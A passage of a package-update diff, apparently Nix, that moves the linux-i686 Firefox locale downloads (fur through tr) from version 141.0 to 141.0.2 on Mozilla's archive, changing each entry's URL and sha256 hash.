-      sha256 = "24bf7401101568aab6e44f32d6864ab73b3b49394fb58703b525c19ecf0b9195";
+      sha256 = "0dae6f4b284f342337feba5a9e5ec54f7e90785ee5863018019c8797ce052748";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fur/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fur/firefox-141.0.2.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "782f063719b7476f78f76f05a90b04a7ade39233a5b198433c4917ab08be8df9";
+      sha256 = "52d0bcee3c02c7b7e9759859cd3498c2eafd44646c01b0edcb7fcbb9406b8646";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fy-NL/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fy-NL/firefox-141.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "030a5125e9171f11709c3ff0e64d5ec79562181f2dbb244792a8f28ab657cb20";
+      sha256 = "f195b193638405b0655af5b2c4489a3ba673e0836a95f15f6a1fa61cb18b7878";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ga-IE/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ga-IE/firefox-141.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "557ad3837d690426d2e2dca036f384d959908ecbb59d46ed4872d733b1d98bbf";
+      sha256 = "2605346c7bd09d6452fffe4634047eae504786924e13a0c38583630d69ac56e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gd/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gd/firefox-141.0.2.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "78491adbbccb8b3aed530fce3fca22e9da848dad04d5736003aa398f89b62587";
+      sha256 = "6b4aad226797dee0a5149660157814d3801c52c6c37149226bfc8a8ace3f07b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gl/firefox-141.0.2.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "3ac9e2b3b1c0d71f6aa30d18f65e210d7035155859dd4ad052f546fb2806601d";
+      sha256 = "b8c9587de8e2d4e540065beb14583af562f34837779ced4240ba222dfe0559b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gn/firefox-141.0.2.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "d7d9e0c119a2e1845dfa344f60b5511353fbc06dc7eaba0e7feeea61015c2948";
+      sha256 = "999153d1960f5b3e6a3e5863f9eedfb4f377d39191db2c65def7d16fe93af15f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/gu-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gu-IN/firefox-141.0.2.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "bf125d9ce7b2858e5327a6b0bef3171ec025a57c64466844cdbb62486c1f8019";
+      sha256 = "006e85efecffb0ebef2cb67cd5a1cca44ed88347aaf0fd81974e870a4e8748e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/he/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/he/firefox-141.0.2.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "543db004f4d57fafdcd8de2b90dc87d303550a5bef6bd4ca82f0a80b6b65c7f1";
+      sha256 = "67819264ec764455fef6716845cb842ee6d07508441f70feb980916a3d902131";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hi-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hi-IN/firefox-141.0.2.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "a062b2864d4ea0f346c717ccfa216ae74c90e026930adae706f42df6b7fb6dcf";
+      sha256 = "6c54ca8705702c0ec1b4ff264e6edf023381c6949e9989db4bef5ef9a2555fb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hr/firefox-141.0.2.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "ff46fb0123c60126ad06d730e64c6495098e6504413a03032be995c3ff8dea5d";
+      sha256 = "1bb31add406d75fde89d18bb4b94881770c7c1b670372e51ab290f30538b35be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hsb/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hsb/firefox-141.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "2e7044896d3e4dc8729ca33d4c6cfcb0bc649634c4c6a88532fcf8b252b7d4f0";
+      sha256 = "802a82f752e408fc2b0dabc3f1886d3c6c986db8428381f7a5d3e3d6698ae999";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hu/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hu/firefox-141.0.2.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "1cb2f78170646edf541d818562bb459452e466c2f17d115db66629d6c18fad95";
+      sha256 = "500ccbad0d31acb437d3440688d3dc71585ac915b3c88053b0d685f0cdbf46a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/hy-AM/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hy-AM/firefox-141.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "570b2f69934b42e86ce4c4aab691f6820f9aec7139aa954662b44488cb0780f4";
+      sha256 = "cc3d8b186e0c3ded2927600d0881bce11c7e9a9edaa96a2c56789af71a9ba607";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ia/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ia/firefox-141.0.2.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "51355e8645d04868c51b0437e4892a78f4f0ed5c91ae3682335942cf6e014c0d";
+      sha256 = "52c8992582eed15f20da5410e1912a118ee244cadf9088a3d738711d229509f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/id/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/id/firefox-141.0.2.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "2b52ddb2dd924930f608a4c6f8d1099fec1cb74c7161bc40ad6efb705aa0d796";
+      sha256 = "261d05f63c04b7852b8059ee2d7958a1deb04c6af7dd6235ddd319ad1b4710a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/is/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/is/firefox-141.0.2.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "cf97b0c06a28d810511b0f811d446717196fda444f51002bdd39288024abec0a";
+      sha256 = "36734da799e697c5adb70bc7c45cf26252b74b28ceb33ee49e118218e436d6a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/it/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/it/firefox-141.0.2.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "93207e91c578afb16b2c8c2e33b91499d655ffa4390303f8b6060f7087a0b0f7";
+      sha256 = "9243a895a88f95bc9c34b55d034e88898deaa4b5999737ee4696ce1b13533219";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ja/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ja/firefox-141.0.2.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "b469ee8dad85b4884b626a6c712c30e17d3827e7a3e74e989ef30a59d5366b61";
+      sha256 = "525e5edf1533f5721228a4583b82a7f7cda1861d4fe69e35f3490fb8b644b365";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ka/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ka/firefox-141.0.2.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "3f109d8749d4598263f2eb23c5eda43d261df2cf5c746b81d773f51f52eb3f26";
+      sha256 = "b574a059b5f90adb77f4bc70d45b1bcc86d135a31b70d332d46819e7539e37d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/kab/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/kab/firefox-141.0.2.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "5b53cdad9ec00d761e8585548c438d6a00e67f744374b748b3270d08722ac7b0";
+      sha256 = "3f4d1b1afa254ce4370381c2331d3769e1143c79942152b2bfaaaa7775e7ec40";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/kk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/kk/firefox-141.0.2.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "29240ea34efd79874971167d4e5d6c95c62facc8af60398acb113961b357fc84";
+      sha256 = "6e27ffda7a26e0f13c406e40f6c121e8970f41a44fea11709ff632373357db81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/km/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/km/firefox-141.0.2.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "34381d90e835eb8b3fb624c1808b0121fd8b3454800672f36e3b6e13d79eb900";
+      sha256 = "2c83e618491dc6fd4709d175e1c141f4fe1cef556755c174716a57e531eae54b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/kn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/kn/firefox-141.0.2.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "e4d3f968421d11ca0ed15a62ae51c35830a1070e6debda6156d57e299c9f9685";
+      sha256 = "5739ca927327f027830eee64a41284f5b319e5d35aa7fe429d5c8c3c0615cf91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ko/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ko/firefox-141.0.2.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "7391803ec0c56fe9e6ebfc0e51fddc910c4e9256fa5be6f79fecb91bf692d40a";
+      sha256 = "5152069fcab04e7f92983e5bb7388a1ebcf5b528cc9fa7321bcd9200ca0fd0f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/lij/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/lij/firefox-141.0.2.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "c69ed4155c7c10b5b965e96553927e07285bf7a3c79ccc0cb91604649e10aa56";
+      sha256 = "249b7f2a3c1a0a82b5bc4efd5df6bc7bee1f3412bcba450306453401e3ee196e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/lt/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/lt/firefox-141.0.2.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "cc01e27b3e08bd4b64808e3a4cd833ae672e0dc7a99a70855385c2c9b286de6f";
+      sha256 = "c97572bcc20ca1bb5efc1b61a34ba17546d042923a0aa88b53eabcf95907414a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/lv/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/lv/firefox-141.0.2.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "ce3de8e3be078ecab1db158666e3d482ed652b9ac3ee710e6161314df90eaa18";
+      sha256 = "1916cd9115d51b5aa729d6565062077212d07500f43b64fce39c5ff97d8d3570";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/mk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/mk/firefox-141.0.2.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "bc00c297a354bda0cb6b42cbbe02cc08b5685de9b057682ce67cca469faeb821";
+      sha256 = "a75b9d2f0fd8957ab61121267eb483aff61690e0c5264d66b0165a2c843b5b3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/mr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/mr/firefox-141.0.2.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "7218f52c71e2ee8829fd9b3872d9f848ff2ad9dcbbbb9f190406a9e768386441";
+      sha256 = "bf5ebcf0cc1ad1d817b8fe4a86fd3d3e308c8a7beab13541d0834160f94e7a71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ms/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ms/firefox-141.0.2.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "75cc4dd0bf5b564be5ebc834cd45f366ec0e767944aca03758630a79707e0b83";
+      sha256 = "009396ed2e150f03ccf0bfdcebe76a1744f1d4813921b11a4d9efa147a23e52d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/my/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/my/firefox-141.0.2.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "4ed6d75bb1d3146c8cfd352f88ee248f44d4a8b6f77924ae98fa7db57cd5c7bf";
+      sha256 = "37272f59a2d08dd68fdefa590979ec11dd4277ea1d5cd93a41ea10e93a024bda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/nb-NO/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/nb-NO/firefox-141.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "2f94cc5308f36d553b447dcc61bda412e329492817c3f61bcba3a4df65bb9c70";
+      sha256 = "1d768db0282a421909811f5f1ba159a501b0a72a287edce9590b3af53cbe76f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ne-NP/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ne-NP/firefox-141.0.2.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "0e04a014e66e5c7217195f54e6d04bad68f4f5dacc6ccd8b8df47c38309005c2";
+      sha256 = "7f58427ef62cf5daa37e74ddd52f16ab0ce31bb55f18e64ba893575529b78ac6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/nl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/nl/firefox-141.0.2.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "f31f3b676e11bc776d0bda4d117a8fe5290be1e4df9b5524adac6f130d144664";
+      sha256 = "50e560ff081ab67e2423b0188115ddfeac02a3ff385e55a08b78320868c7ccff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/nn-NO/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/nn-NO/firefox-141.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "c02e3e9e7fdc1afe4d69ace09661605d98923104d4bd319c4bfdf45afdfc3b38";
+      sha256 = "a9b75217eb2cbc5741eebe25afb2018aadeeeb7c4502430bb8a1155a4306f187";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/oc/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/oc/firefox-141.0.2.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "02b25ea041b208e652112ed3bb51c1b12c9e12a2817ef5e20bb6931a217232bb";
+      sha256 = "fad341c29c68e07d73015f61eb7afb87986ca38ed40295c75c813abe056148c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pa-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pa-IN/firefox-141.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "83f1819769ce810da7f07c9cfd134674870ba6432a4d5155e1680400a9c854e1";
+      sha256 = "dafd778f18ccca5366d1089d1bd7b701b6744dd558c9bc7faed55a144637bdc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pl/firefox-141.0.2.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "cf7eb41a565d3e11f3c737041cc3fc318d9fe987b269cdb7bd9653cd75923b5b";
+      sha256 = "d58e3e1895f8b60b18eed4d4a2de83d12c50bc397c0e2d0756e85b5033f43aa4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pt-BR/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pt-BR/firefox-141.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "4cf8ad05597682e0da5f9c97a955bc7adb29c16f2e7c7fefb560237dbeade240";
+      sha256 = "7fc2bfd1b132ad780f95b94fead81e98b5bdb83320c95790e2c192110b0f6a24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/pt-PT/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pt-PT/firefox-141.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "ff81397fdd191239f642dd23334b999cf5c05900391e23f236b9c9c78859f571";
+      sha256 = "15c72329ddbf57ce8d4db4526794ffedbc59da125848de0f3247d2fc082e5568";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/rm/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/rm/firefox-141.0.2.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "ff29401be1494f52e4db6b255bc1c8646de098e6f225559e60c0dd6951339757";
+      sha256 = "a86d9ea2e25a95b21c6c1d9430ac84ba2103e306fd17105a0b4f5dd9056c607d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ro/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ro/firefox-141.0.2.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "cd2c23ba828cd720c1c8d4ad2f86082f53b36da6615888d3805549683a1ffe35";
+      sha256 = "0ddc2bf1dcd873d1b68688860110fa35a25779ea98777bf9e457cad66e630d85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ru/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ru/firefox-141.0.2.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "233861f5917fb6c2a1fc01c66540d6dad78e3ab395bf531da4d5e22862be4f1c";
+      sha256 = "3567a81209b8742a7dd5d339953a63cdccb7caee98fcd069eff7cb01c49a7652";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sat/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sat/firefox-141.0.2.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "fb33c7db943c3dfbf161eb897ce2d2b3a14a50228d50898210f0fb7f202bd199";
+      sha256 = "42f4cf0e6323d1d4f04cb5fa0a48780ad8b73d4f1ea15dffdad223878cc70113";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sc/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sc/firefox-141.0.2.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "9778681d914235972cb3e8e2a53edef86fe2d346bbd61cbf4ff517713c9e6ecc";
+      sha256 = "b2a48e251c2838fac841a6310522d02d7bd2e54412fd4ce09ef28d9200521475";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sco/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sco/firefox-141.0.2.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "e764f135910329ce3a77cbbbb8395bd8cd4af076d2d36e2e0d6279e1236a384a";
+      sha256 = "1922269b1b118a8a38fd2e63c04a9ae0ca82e9059d0b1b7c7119a688198526d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/si/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/si/firefox-141.0.2.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "fda117580f2aeb783303ce104baaea184fd5462bf8f4e48220050762b6be7b1b";
+      sha256 = "6bed045ccb932341ca24abc940190150590806567f4a3341f87b30f1dc297e92";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sk/firefox-141.0.2.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "d2789b826380a3f57db217d641a32619b15e95d4539fa308efa3d78096cbae4f";
+      sha256 = "3ebbb59c6bc8698566f94342d386e6be0066886c458a1d529be59f8db864dce1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/skr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/skr/firefox-141.0.2.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "ae9c3b5b57cf9692978ffe016aa19e68440e1ba4a606284796d8782de15bf0c1";
+      sha256 = "3097988989567d8dfa3abc2a3371fd836b1a073e8b31774c340fa67b21a4232a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sl/firefox-141.0.2.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "86f5a3b52584f83219d5a98f6068afd0cd94643f33e8349b2e66f49bc801add3";
+      sha256 = "974c59cb071fa7b4bff2450c33a6e799492aa26621570d6b7f64eddf1ca0c199";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/son/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/son/firefox-141.0.2.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "bbe1ad142243cbd2fe3321c30da9e615470f8c3682d42b9e1d0482220a6998cb";
+      sha256 = "840d550e52da549772850bf6cc58aad24c68aa6a23226a6aa6df25213b15712b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sq/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sq/firefox-141.0.2.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "42e2d7c7f12fab825a4be15acf4d03902e4120003dcd2a5d3b59d106038a481e";
+      sha256 = "78e58058f299ad186ce97373ec08bae0c2fd401143bae6ce6a0add7724a1c05e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sr/firefox-141.0.2.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "e934b45befcb444a004c81f101bb53838d4376bc05e254ca4ea4ae0d1d750c03";
+      sha256 = "28dbb154d036f5cc223b31959ecfed4d9089d90a4fe38b17126fbe7f27b15198";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/sv-SE/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sv-SE/firefox-141.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "892086ab14cf38c9a601aa9854f52f8b5d499bbc63b0197f1ecad46d60e67a93";
+      sha256 = "1752740bc6b7fa893ddfd482384204ff5515b294475c09204958bbcbdd6a8fd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/szl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/szl/firefox-141.0.2.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "af0e5fdc9aff9732d9664b737e2c4b70f6f2a8ac623b8935808eb716128ae583";
+      sha256 = "259530de018383b8a51dce32b0f3e4b63110875af111a39f244d0ef3af0af731";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ta/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ta/firefox-141.0.2.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "527a976bc63260fa6af3cfb327afab823596a6b10fffbe8310040b26a0195089";
+      sha256 = "24017e9e1c3482c80216af56bc83055544ba5e3354a579d940eb2a649a3eaf4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/te/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/te/firefox-141.0.2.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "6ad09f6a85513a6bcfd8b30198f279b8084babe1c099927bd5fbf2532d915947";
+      sha256 = "c13f9eead65aa1f837ff4dc2e3280a39a6908d4a21239746c962b21fc67c2bc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/tg/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/tg/firefox-141.0.2.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "35ed5298274b54d13285d2dfbe1c5264e264a51991f3681fc756872a6a951428";
+      sha256 = "d8b0204b4a8ba3261c42abf1b4329fc7755f928ad7795bdfd70f81d62f72b49c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/th/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/th/firefox-141.0.2.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "f16ac55a1453cecda0bc2741b93f078836ef9dfd9cca2991b7c299b34a58f40c";
+      sha256 = "530511b3900447ec14b19245ca052ddf59b74f921973daca67c78674304ee2f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/tl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/tl/firefox-141.0.2.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "0ed960bed6664da92bab23f2ac0a2d62a00c587dcbc1a854e71ff7a9e7477996";
+      sha256 = "e52181d76e17c79f28e3dc664d26289d82a1bd697c7aecc50e277b1dff1900c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/tr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/tr/firefox-141.0.2.tar.xz";
       locale = "tr";
       arch = "linux-i686";
